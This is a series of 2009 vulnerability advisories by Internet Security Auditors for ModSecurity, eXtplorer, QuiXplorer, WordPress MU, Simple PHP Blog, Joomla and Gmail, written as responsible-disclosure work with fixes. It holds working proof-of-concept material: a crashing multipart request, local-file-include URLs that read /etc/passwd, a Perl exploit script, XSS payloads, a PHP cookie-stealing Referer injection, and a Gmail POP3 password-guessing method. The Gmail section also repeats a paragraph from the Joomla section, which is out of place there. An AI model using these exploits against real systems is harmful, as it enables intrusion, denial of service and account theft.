1263 msc_arg *arg = (msc_arg *)apr_pcalloc(msr->mp, sizeof(msc_arg));
1264 if (arg == NULL) return -1;
1265
1266 arg->name = parts[i]->name;
1267 arg->name_len = strlen(parts[i]->name);
On line 1267, due to the pointer parts[i]->name is not properly sanitized the parameter of strlen function takes the value NULL, getting a segmentation fault and resulting in a crash of the apache process that handle the request.
PROOF OF CONCEPT
The process could be crashed remotely by sending:
POST / HTTP/1.0
Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxxxx
Content-Length: 91
-----------------------------xxxxxxxxxxxxxx
:
-----------------------------xxxxxxxxxxxxxx--
In order to send a correct HTTP/1.1 request you must add a valid Host header.
With the configuration directives:
SecAuditEngine On
SecDebugLogLevel 9
After the attack, the last line of the debug logfile is:
[25/Feb/2009:09:51:18 +0100] [vhost/sid#884348][rid#aaf0d8][/][9] Multipart: Added part abe458 to the list: name "(null)" (offset 0, length 0)
BUSINESS IMPACT
An attacker could cause a remote denial of service to an Apache installation with modsecurity 2 module.
SYSTEMS AFFECTED
ModSecurity between 2.5.5 and 2.5.8 are vulnerable, other versions may be affected.
Tested with Apache httpd 2.2.11.
SOLUTION
Upgrade to version 2.5.9 of ModSecurity. It can be downloaded from http://modsecurity.org/download/
REFERENCES
http://www.modsecurity.org
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
Thanks to Jordi Rubió Romero (jrubio (at) isecauditorts (dot) com).
REVISION HISTORY
February 25, 2009: Initial release
March 19, 2009: Revision.
DISCLOSURE TIMELINE
Febraury 25, 2009: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com)
March 02, 2009: ModSecurity contacted.
March 02, 2009: Response about remediation plan.
March 11, 2009: Path released
March 19, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com)
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-002: eXtplorer standalone & Joomla!/Mambo Remote Code Execution vulnerability
Original release date: January 7th, 2009
Last revised: March 2nd, 2009
Discovered by: Juan Galiana Lara
Severity: 9/10 (CVSS scored)
BACKGROUND
eXtplorer is a web-based File Management Component for all your needs. It has a desktop-application-like interface with drag&drop, grid and a directory tree and makes heavy use of the ExtJS Javascript Library. It's widely used to access and modify the files and directories on your server via FTP or direct file access. It runs natively under Joomla! 1.5.x, 1.0.x, Mambo component and can also be used as a standalone app. Is based on Quixplorer (available at http://sourceforge.net/projects/quixplorer/). eXtplorer is released under a dual-license: the Mozilla Public License (MPL 1.1) and the GNU General Public License (GNU/GPL).
DESCRIPTION
eXtplorer is prone to a local file include and directory traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. The parameter 'lang' is not properly sanitized. Since the application allows to upload files to the server could be combined with previous vulnerabilities to allow an attacker to view any local file or execute arbitrary code remotely in the context of the webserver. This may aid in launching further attacks. In order to perform the attack, an attacker could upload a PHP maliciuos code (upload action is allowed by the application), then exploit a bug to know the full path to the local file recently uploaded (if 'display_errors' directive is set to On) and then include it exploiting the local file include and directory traversal flaw (using ../../path/to/file) to finally execute the php code. Successfully explotation of this flaw may aid in the compromise of the server in the context of the webserver. The software is affected running standalone or as a Joomla!/Mambo component.
PROOF OF CONCEPT
The affected code:
File: include/init.php Line 100
$GLOBALS["language"] = $mainframe->getUserStateFromRequest( 'language', 'lang', $default_lang );
File: include/init.php Line: 145
//Necessary files require_once( _EXT_PATH."/config/conf.php" );
if( file_exists(_EXT_PATH."/languages/".$GLOBALS["language"].".php")) {
require_once( _EXT_PATH."/languages/".$GLOBALS["language"].".php" ); <- HERE
}
else {
require_once( _EXT_PATH."/languages/english.php" );
}
if( file_exists(_EXT_PATH."/languages/".$GLOBALS["language"]."_mimes.php")) {
require_once( _EXT_PATH."/languages/".$GLOBALS["language"]."_mimes.php" ); <- HERE
}
else {
require_once( _EXT_PATH."/languages/english_mimes.php" );
}
The file include/init.php is included in all the request to the application.
Here is a poc:
PoC:http://site/path/?lang=../../path/to/maliciuos_uploaded_code
PoC:http://site/path/?lang=../../../../../etc/passwd%00
The bug can be exploited with or without 'magic_quotes_gpc', but note that if magic_quotes_gpc is set to Off, an attacker can view any file, adding a '\0' character like /etc/passwd, if not only can include php files, allowing to execute any php code he want. Is also possible to hide the crafted parameters data including it thougth POST method, making detection more difficult to site administrator. In order to successfully perform this attack the attacker must have the full path where the files are uploaded, and it is easy to get making a request like this:
POST /path/index.php HTTP/1.1
Host: host
User-Agent: user-agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://host/path
Content-Length: 80
Cookie: PHPSESSID=<my_phpsessid>;eXtplorer=<my_cookie>
Pragma: no-cache
Cache-Control: no-cache
start=0&limit=50&dir=x&option=com_extplorer&action=getdircontents&sendWhat=files
The response is a JSON file:
{"action":"","message":"\/var\/www\/path\/\/x : This directory doesn\\'t exist.","error":"\/var\/www\/path\/\/x : This directory doesn\\'t exist.","success":false}
Sending "x", the application came back "/var/www/path/x".
BUSINESS IMPACT
An attacker could execute arbitrary code remotely and maybe gain access to the operating system of the server
SYSTEMS AFFECTED
Versions prior to 2.0.0 of eXtplorer are vulnerable
SOLUTION
Upgrade to version 2.0.1 of eXtplorer. It can be downloaded from http://extplorer.sourceforge.net
REFERENCES
http://extplorer.sf.net
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
March 2nd, 2009: Initial release.
DISCLOSURE TIMELINE
January 07, 2009: eXtplorer contacted
January 15, 2009: eXtplorer release version 2.0.1
March 02, 2009: Vulnerability published
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-003: QuiXplorer <= 2.4.1 beta standalone and as a Mambo/Joomla component 'lang' parameter Remote Code Execution vulnerability
Original release date: March 2nd, 2009
Last revised: December 17th, 2009
Discovered by: Juan Galiana Lara
Severity: 9/10 (CVSS scored)
BACKGROUND
QuiXplorer is a multi-user, web-based file-manager. It allows you to manage and/or share files over the Internet, or an Intranet. It's currently available in many languages and with GPL and MPL licenses and referred in other open source projects.
DESCRIPTION
QuiXplorer is prone to a local file include and directory traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. The parameter 'lang' is not properly sanitized. Since the application allows to upload files to the server could be combined with previous vulnerabilities to allow an attacker to execute arbitrary code remotely in the context of the webserver. This may aid in launching further attacks.
In order to perform the attack, an attacker could upload a PHP malicious code (upload action is allowed by the application), then exploit a bug to know the full path to the local file recently uploaded (if 'display_errors' directive is set to On) and then include it exploiting the local file include and directory traversal flaw (using ../../path/to/file) to finally execute the php code. Successfully exploitation of this flaw may aid in the compromise of the server in the context of the webserver.
PROOF OF CONCEPT
Here is the affected code:
80 // Get Language
81 if(isset($GLOBALS['__GET']["lang"]))$GLOBALS["lang"]=$GLOBALS['__GET']["lang"];
82 elseif(isset($GLOBALS['__POST']["lang"]))$GLOBALS["lang"]=$GLOBALS['__POST']["lang"];
83 //------------------------------------------------------------------------------
84 // Necessary files
85 ob_start(); // prevent unwanted output
86 require "./.config/conf.php";
87 if(isset($GLOBALS["lang"])) $GLOBALS["language"]=$GLOBALS["lang"];
88 require "./_lang/".$GLOBALS["language"].".php"; <----- HERE
89 require "./_lang/".$GLOBALS["language"]."_mimes.php"; <----- HERE
Here is a poc:
PoC: http://site/path/?lang=../path/to/malicious_uploaded_code
Exploiting this bug is possible to include php files, allowing to execute any arbitrary code code he want. Also is possible to hide the crafted parameters data including it through POST method, making detection more difficult to site administrator.
About the full path disclosure, if the webserver has the show_errors directive set to 'On', try: http://site/path/?lang=no_exists
And the application returns:
Warning: require(./_lang/no_exists.php) [function.require]: failed to open stream: No such file or directory in /var/www/quix/.include/init.php on line 88
Fatal error: require() [function.require]: Failed opening required './_lang/no_exists.php'
(include_path='.:/usr/share/php:/usr/share/pear') in /var/www/quix/.include/init.php on line 88
Revealing the path to the home directory of the filemanager
BUSINESS IMPACT
An attacker could view any file or execute arbitrary code remotely into the context of the webserver.
SYSTEMS AFFECTED
All version of QuiXplorer are affected.
At the moment <= 2.4.1beta.
SOLUTION
As developers give no response we add the mitigation for its solution.
To patch only change this lines...
From:
81 if(isset($GLOBALS['__GET']["lang"])) $GLOBALS["lang"]=$GLOBALS['__GET']["lang"];
82 elseif(isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"]=$GLOBALS['__POST']["lang"];
To:
81 if(isset($GLOBALS['__GET']["lang"])) $GLOBALS["lang"]=basename($GLOBALS['__GET']["lang"]);
82 elseif(isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"]=basename($GLOBALS['__POST']["lang"]);
Parsing the parameters with basename() function the flaw its fixed.
And to prevent the full path disclosure...
From:
88 require "./_lang/".$GLOBALS["language"].".php";
82 require "./_lang/".$GLOBALS["language"]."_mimes.php";
To:
88 if(file_exists("./_lang/".$GLOBALS["language"].".php")) require "./_lang/".$GLOBALS["language"].".php";
89 else require "./_lang/en.php";
90 if(file_exists("./_lang/".$GLOBALS["language"]."_mimes.php"))require "./_lang/".$GLOBALS["language"]."_mimes.php";
91 else require "./_lang/en_mimes.php";
REFERENCES
http://sourceforge.net/projects/quixplorer/
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
March 02, 2009: Initial release.
December 17, 2009: Last revision.
DISCLOSURE TIMELINE
March 02, 2009: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com) March 03, 2009: QuiXplorer contacted. No answer. December 13, 2009: QuiXplorer contacted again. No answer. December 17, 2009: Sent to lists with remediation proposal.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-004: WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability
Original release date: December 3rd, 2008
Last revised: March 10th, 2009
Discovered by: Juan Galiana Lara
Severity: 6.3/10 (CVSS scored)
BACKGROUND
WordPress MU, or multi-user, allows to run unlimited blogs with a single install of wordpress. It is most famously used for WordPress.com where it serves tens of millions of hits on hundreds of thousands of blogs each day. Also is used in many other sites like Harvard University and Le Monde.
DESCRIPTION
WordPress MU prior to version 2.7 fails to sanitize the Host header correctly in choose_primary_blog function and is therefore prune to XSS attacks.
Web Sites running in a name based virtual hosting setup are not affected while they are not the default virtual host.
PROOF OF CONCEPT
The snippet of vulnerable code:
In wp-includes/wpmu-functions.php, concretly in the function choose_primary_blog:
1830 function choose_primary_blog() {
1831 global $current_user;
1832 ?>
1833 <table class="form-table">
1834 <tr>
1835 <th scope="row"><?php _e('Primary Blog'); ?></th>
1836 <td>
1837 <?php
1838 $all_blogs = get_blogs_of_user( $current_user->ID );
1839 if( count( $all_blogs ) > 1 ) {
1840 $primary_blog = get_usermeta($current_user->ID, 'primary_blog');
1841 ?>
1842 <select name="primary_blog"
1843 <?php foreach( (array) $all_blogs as $blog ) { ?>
1844 <option value='<?php echo $blog->userblog_id ?>'<?php if( $primary_blog == $blog->userblog_id ) echo ' selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path ?></option>
1845 <?php } ?>
1846 </select>
1847 <?php
1848 } else {
1849 echo $_SERVER['HTTP_HOST']; <- HERE
1850 }
1851 ?>
1852 </td>
1853 </tr>
1854 </table>
1855 <?php
1856 }
BUSINESS IMPACT
The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];" and is possible to inject HTML and script code crafting HTTP Host header:
PoC:
$ curl -H "Cookie: my cookies here" -H "Host: <body onload=alert(String.fromCharCode(88,83,83))>" http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html
The javascript code will be executed in the context of the victim browser, this can be exploited to steal cookies and escalate privileges to administrator.
Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6
SYSTEMS AFFECTED
Versions prior to 2.7 are affected.
SOLUTION
Upgrade to version 2.7 of wordpress multi-user. It can be downloaded from http://mu.wordpress.org
REFERENCES
http://mu.wordpress.org
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
December 03, 2008: Initial release
March 02, 2009: More details added
DISCLOSURE TIMELINE
December 03, 2008: Vendor contacted
December 03, 2008: MU trunk code fixed
January 28, 2008: WordPress MU 2.7 released
March 10, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com)
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-005: Simple PHP Blog <= 0.5.1 Local File Include vulnerability
Original release date: March 2nd, 2009
Last revised: December 18th, 2009
Discovered by: Juan Galiana Lara
Severity: 6.8/10 (CVSS scored)
BACKGROUND
Simple PHP Blog is a blog system does not requires database setup, and is very easy to install.
DESCRIPTION
Simple PHP Blog <= 0.5.1 is affected by a Local File Include vulnerability in 'languages_cgi.php' due to parameter 'blog_language1' is not properly sanitized.
PROOF OF CONCEPT
The affected code:
1830 equire_once('languages/' . $_POST[ 'blog_language1' ] .'/strings.php');
Exploit:
#!/usr/bin/perl
# Local File Include Exploit
# Simple PHP Blog <= 0.5.1
# jgaliana isecauditors=dot=com
# Internet Security Auditors
use LWP::UserAgent;
if ($#ARGV < 3) { die("Usage: $0 "); }
$ua = LWP::UserAgent->new;
$ua->agent("Simple PHP Blog Exploit ^_^");
$ua->default_header('Cookie' => "sid=$ARGV[3]");
my $req = new HTTP::Request POST =>
"http://$ARGV[0]$ARGV[1]/languages_cgi.php";
$req->content_type('application/x-www-form-urlencoded');
$req->content("blog_language1=../../../../..$ARGV[2]%00");
my $res = $ua->request($req);
if ($res->is_success) {
print $res->content;
} else {
print "Error: " .$res->status_line, "\n";
}
$ perl simple.pl example.com /blog /etc/passwd |head -1
root:*:0:0:root:/root:/bin/bash
The bug can be exploited with or without 'magic_quotes_gpc', but note that if magic_quotes_gpc is set to Off, an attacker can view any file, adding a '\0' character like /etc/passwd, if not only can include php files, allowing to execute any local php files.
BUSINESS IMPACT
The impact is the attacker can read arbitrary files in the context of the webserver and execute arbitrary local php scripts.
SYSTEMS AFFECTED
Versions prior and including 0.5.1 are affected.
In order to patch the application the function file_exists() and basename() must be added to the affected code.
SOLUTION
Change line 62 of languages_cgi.php in order to filter $_POST['blog_language1' ] variable.
if (ereg('^[a-zA-Z0-9_]+$', $_POST[ 'blog_language1' ]))
require_once('languages/' . $_POST[ 'blog_language1' ] . '/strings.php');
REFERENCES
http://www.simplephpblog.com
http://sourceforge.net/projects/sphpblog/
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
March 02, 2009: Initial release
December 18, 2009: Last revision
DISCLOSURE TIMELINE
March 02, 2009: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com)
March 03, 2009: Notified to developer. No response.
December 13, 2009: Notified again. No response.
December 18, 2009: Added mitigation solution and sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-006: Joomla! 1.5.10 JA_Purity Multiple Persistent XSS.
Original release date: April 5th, 2009
Last revised: June 5th, 2009
Discovered by: Juan Galiana Lara
Severity: 6.4/10 (CVSS Base Score)
BACKGROUND
Joomla! is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla! the most popular Web site software available. Best of all, Joomla! is an open source solution that is freely available to everyone.
Joomla! comes with 3 default templates, JA_Purity is one of them.
DESCRIPTION
JA_Purity template is bundled in Joomla! and fails to sanitized user supplied input. An attacker can inject JavaScript or DHTML that will be saved in the cookie making persistent, running in the context of targeted user browser, allowing him to steal cookies.
In file 'template/ja_purity/ja_templatetools.php', the getUserSetting() reads $_GET array and makes the data persistent setting it in a cookie:
4 define ('JA_TOOL_FONT', 'ja_font');
...
27 function getUserSetting(){
28 $exp = time() + 60*60*24*355;
29 if (isset($_COOKIE[$this->template.'_tpl']) && $_COOKIE[$this->template.'_tpl'] == $this->template){
30 foreach($this->_params_cookie as $k=>$v) {
31 $kc = $this->template."_".$k;
32 if (isset($_GET[$k])){
33 $v = $_GET[$k];
34 setcookie ($kc, $v, $exp, '/');
35 }else{
36 if (isset($_COOKIE[$kc])){
37 $v = $_COOKIE[$kc];
38 }
39 }
40 $this->setParam($k, $v);
41 }
42
43 }else{
44 setcookie ($this->template.'_tpl', $this->template, $exp, '/');
45 }
46 return $this;
47 }
48
49 function getParam ($param, $default='') {
50 if (isset($this->_params_cookie[$param])) {
51 return $this->_params_cookie[$param];
52 }
53 return $this->_tpl->params->get($param, $default);
54 }
55
56 function setParam ($param, $value) {
57 $this->_params_cookie[$param] = $value;
58 }
File 'template/ja_purity/index.php' reads data with getParam and write it directly:
57 <?php if ($tmpTools->getParam('theme_header') && $tmpTools->getParam('theme_header')!='-1') : ?>
58 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/header/<?php echo $tmpTools->getParam('theme_header'); ?>/style.css" type="text/css" />
59 <?php endif; ?>
60 <?php if ($tmpTools->getParam('theme_background') && $tmpTools->getParam('theme_background')!='-1') : ?>
61 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/background/<?php echo $tmpTools->getParam('theme_background'); ?>/style.css" type="text/css" />
62 <?php endif; ?>
63 <?php if ($tmpTools->getParam('theme_elements') && $tmpTools->getParam('theme_elements')!='-1') : ?>
64 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/elements/<?php echo $tmpTools->getParam('theme_elements'); ?>/style.css" type="text/css" />
65 <?php endif; ?>
99: <body id="bd" class="fs<?php echo $tmpTools->getParam(JA_TOOL_FONT);?> <?php echo $tmpTools->browser();?>" >
118 if ($tmpTools->getParam('logoType')=='image'): ?>
119 <h1 class="logo">
120 <a href="index.php" title="<?php echo $siteName; ?>"><span><?php echo $siteName; ?></span></a>
121 </h1>
122 <?php else:
123 $logoText = (trim($tmpTools->getParam('logoText'))=='') ? $config->sitename : $tmpTools->getParam('logoText');
124 $sloganText = (trim($tmpTools->getParam('sloganText'))=='') ? JText::_('SITE SLOGAN') : $tmpTools->getParam('sloganText'); ?>
125 <h1 class="logo-text">
126 <a href="index.php" title="<?php echo $siteName; ?>"><span><?php echo $logoText; ?></span></a>
127 </h1>
128 <p class="site-slogan"><?php echo $sloganText;?></p>
129 <?php endif; ?>
These are all the variables of JA_Purity template, most of them are vulnerable:
logoType
logoText
sloganText
ja_font
ja_screen
ja_screen_width
theme_header
theme_background
theme_elements
horNav
horNavType
rightCollapsible
rightCollapseDefault
excludeModules
showComponent
PROOF OF CONCEPT
http://site/path/?theme_header=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_background=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_elements=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&logoText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&sloganText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?excludeModules=%27;alert(8);%20var%20b=%27
http://site/path/?rightCollapseDefault=%27;alert(8);%20var%20b=%27
http://site/path/?ja_font=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
BUSINESS IMPACT
An attacker can exploit the vulnerability to store persistent XSS. This may lead in steal the targeted user cookies and gain access to the user account.
SYSTEMS AFFECTED
Joomla! <= 1.5.10 is vulnerable which comes with JA_Purity template 1.2.0
SOLUTION
Upgrade to version 1.5.11.
REFERENCES
http://www.joomla.org
http://www.joomlart.org
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
April 5, 2009: Initial release.
June 5, 2009: Last revision.
DISCLOSURE TIMELINE
April 5, 2009: Discovered by Internet Security Auditors.
April 6, 2009: Vendor contacted. They will study the advisory.
May-June, 2009: No responses to queries about patching schedule.
June 3, 2009: Security Release 1.5.11 published.
June 5, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com)
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-007: Joomla! < 1.5.12 Multiple XSS vulnerabilities in HTTP Headers
Original release date: June 30th, 2009
Last revised: July 2nd, 2009
Discovered by: Juan Galiana Lara
Severity: 6.8/10 (CVSS Base Score)
BACKGROUND
Joomla! is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla! the most popular Web site software available. Best of all, Joomla! is an open source solution that is freely available to everyone.
DESCRIPTION
TJoomla! fails to sanitized user supplied input. An attacker can inject JavaScript or DHTML code that will be executed in the context of targeted user browser, allowing him to steal cookies. HTTP headers are not properly parsed, concretly the HTTP_REFERER variable.
The snippet of vulnerable code:
Line 225 of file components/com_content/views/article/tmpl/form.php is vunerable.
221 <input type="hidden" name="option" value="com_content" />
222 <input type="hidden" name="id" value="<?php echo $this->article->id; ?>" />
223 <input type="hidden" name="version" value="<?php echo $this->article->version; ?>" />
224 <input type="hidden" name="created_by" value="<?php echo $this->article->created_by; ?>" />
225 <input type="hidden" name="referer" value="<?php echo @$_SERVER['HTTP_REFERER']; ?>" />
226 <?php echo JHTML::_( 'form.token' ); ?>
227 <input type="hidden" name="task" value="" />
228 </form>
Other parts of code may be affected:
components/com_user/controller.php:86:
$return = @$_SERVER['HTTP_REFERER'];
plugins/system/legacy/html.php:246:
echo '<a href="'. $_SERVER['HTTP_REFERER'] .'"><span class="small">'. JText::_( 'BACK' ) .'</span></a>';
templates/beez/html/com_content/article/form.php:186:
<input type="hidden" name="referer" value="<?php echo @$_SERVER['HTTP_REFERER']; ?>" />
PROOF OF CONCEPT
An attacker can redirect the victim to a site with this script for executing javascript code in the victim's browser. The PoC creates a crafted HTTP request with malicious data in the HTTP_REFERER header. In order to succesfully exploit it, an account with any role is needed. For example, an user with any role can escalate privileges to administrator.
/* PoC: XSS Joomla 1.5.11
Juan Galiana Lara
Internet Security Auditors
Jun 2009 */
/* config */
$site='localhost';
$path='/joomla-1.5.11';
$cookname='d85558a8cf943386aaa374896bfd3d99';
$cookvalue='4ab56fdd83bcad86289726aead602699';
class cURL {
var $headers;
var $user_agent;
var $compression;
var $cookie_file;
var $proxy;
/* evil script */
var $xss='alert("PWN PWN PWN: " + document.cookie);';
function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
$this->headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->headers[] = 'Referer: "><script>' . $this->xss .'</script>>span a="';
$this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if ($this->cookies == TRUE) $this->cookie($cookie);
}
function cookie($cookie_file) {
if (file_exists($cookie_file)) {
$this->cookie_file=$cookie_file;
} else {
fopen($cookie_file,'w') or $this->error('The cookie file could not be opened. Check permissions');
$this->cookie_file=$cookie_file;
fclose($this->cookie_file);
}
}
function get($url) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process,CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port');
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo $error;
die;
}
}
/* set cookie */
$f=fopen("cookies.txt","w");
fwrite($f,"localhost\tFALSE\t/\tFALSE\t0\t$cookname\t$cookvalue\n");
fclose($f);
/* do request */
$cc = new cURL();
$c=$cc->get('http://' . $site . $path . '/index.php?option=com_content&view=article&layout=form');
/* let's execute some javascript.. }:-)*/
echo $c;
?>
BUSINESS IMPACT
An attacker can exploit the vulnerability to inyect DHTML and JavaScript code in the context of the web browser. This may lead in steal the targeted user cookies and gain access to the user account icluding administrator privileges.
SYSTEMS AFFECTED
Joomla! versions prior and including 1.5.11 are vulnerable.
SOLUTION
Upgrade to version 1.5.12
REFERENCES
http://www.joomla.org
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
June 30, 2009: Initial release
July 02, 2009: Revision.
DISCLOSURE TIMELINE
June 30, 2009: Discovered by Internet Security Auditors.
June 30, 2009: Vendor contacted. Fast response.
July 01, 2009: Joomla! publish update. Great job.
July 02, 2009: Advisory published.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-008: Gmail vulnerable to automated password cracking.
Original release date: July 7th, 2009
Last revised: July 13th, 2009
Discovered by: Vicente Aguilera Diaz
Severity: 4.5/10 (CVSS Base Score)
BACKGROUND
Gmail is Google's free webmail service. It comes with built-in Google search technology and over 7,300 megabytes of storage (and growing every day). You can keep all your important messages, files and pictures forever, use search to quickly and easily find anything you're looking for, and make sense of it all with a new way of viewing messages as part of conversations.
DESCRIPTION
An existing abuse of functionality in the "Check for mail using POP3" capability permits automated attacks to the password data of the accounts of the Gmail users evading the security measures adopted by Google.
Gmail implements a great number of security controls and, most of them are not revealed until an attack is conducted or a malicious use of the account is done. For example:
- Use of catpcha for avoiding automated processes (e.g., in the users authentication or in the new users sign up).
- Temporary IP locking in case of detecting unusual application activities (e.g., multiple new account creation requests)
- Temporary account locking in case of detecting unusual use of the user account (e.g., when doing multiple consecutive request to the same resource).
- Detection of concurrent access to the account from different geolocated IP addresses added to the number of these accesses.
- Etc.
Anyway, is it possible to abuse the "Check for mail using POP3" capability to do attacks to the passwords of the users in an automated way, evading all referred security restrictions and controls and doing a transparent and not noticeable attack to the user that its account is being password cracked as:
- There's no need for required action from the victim.
- There's no modification in the password of the victim.
- There's no locking in the victim account.
- There's no security notification to the victim.
The vulnerability is aggravated due Gmail allows weak passwords to be used by the users. So, Gmail accepts password using only one character (e.g. "aaaaaaaa") or dictionary words (e.g. "pentagon" or "computer").
The abuse of this functionality permits an attacker to do thousands of authentication requests during a day over one user account, so if the user is using a weak password is a matter of time to guess to have access to the mail account.
PROOF OF CONCEPT
An attacker can redirect the victim to a site with this script for executing javascript code in the victim's browser. The PoC creates a crafted HTTP request with malicious data in the HTTP_REFERER header. In order to succesfully exploit it, an account with any role is needed. For example, an user with any role can escalate privileges to administrator.
As only requirement, the attacker needs a real Gmail account, but that's not a real limitation as service is for free.
After being authenticated, the attacker access to the option "Accounts and import". From this tab access to "Add POP3 mail account". To add a new account the attacker news to fill: -User name: will be the victim email address, including "@gmail.com" (e.g. victim@gmail.com).
-Password: will be the password related to the previously informed user.
-POP3 server and port: could be simply "pop.gmail.com" and the 995 port.
When asking for the new email account to be added some different scenarios can happen:
1. The application returns the message "The server has denied the POP3 access to this username and password". This possibility happens when the username do not exists or the password is incorrect.
2. The application returns the message "Now you can recover the messages of this account". This other possibility happens when the authentication has succeeded. So, the attacker informed correctly the password to this user.
3. The application returns the message "You have reached the maximum number of accounts allowed". This situation appears after adding more than 5 email accounts or after doing 100 requests (successfully or not) for adding a new account. Is important to notice that, after the 100 attempts, the user must wait for 2 hours.
Using this, an attacker is able to do 100 attempts of authentication each 2 hours (so 1.200 attempts each day).
Is very important to retain that those requests do not require any kind of catpcha and can be done automatically knowing only the key parameters of the request:
-ik: alphanumeric id associated to the user and transmitted through GET request.
-GMAIL_AT: is an alphanumeric value associated to the user and transmitted in the cookie. It is only known after authentication and starts with characters "xn3j3".
-GX: alphanumeric value associated to the user and transmitted in the cookie. It is only known after authentication.
-ui: numeric value. Can be fixed to value "2" (default value) and is transmitted via GET.
-view: string value. Can be fixed to string "ma" (default value) and is transmitted via GET.
-map: numeric value. Can be fixed to value "2" (default value) and is transmitted via POST.
-ma_email: email address of the account to be added. Would match to the victim email address and is transmitted via POST.
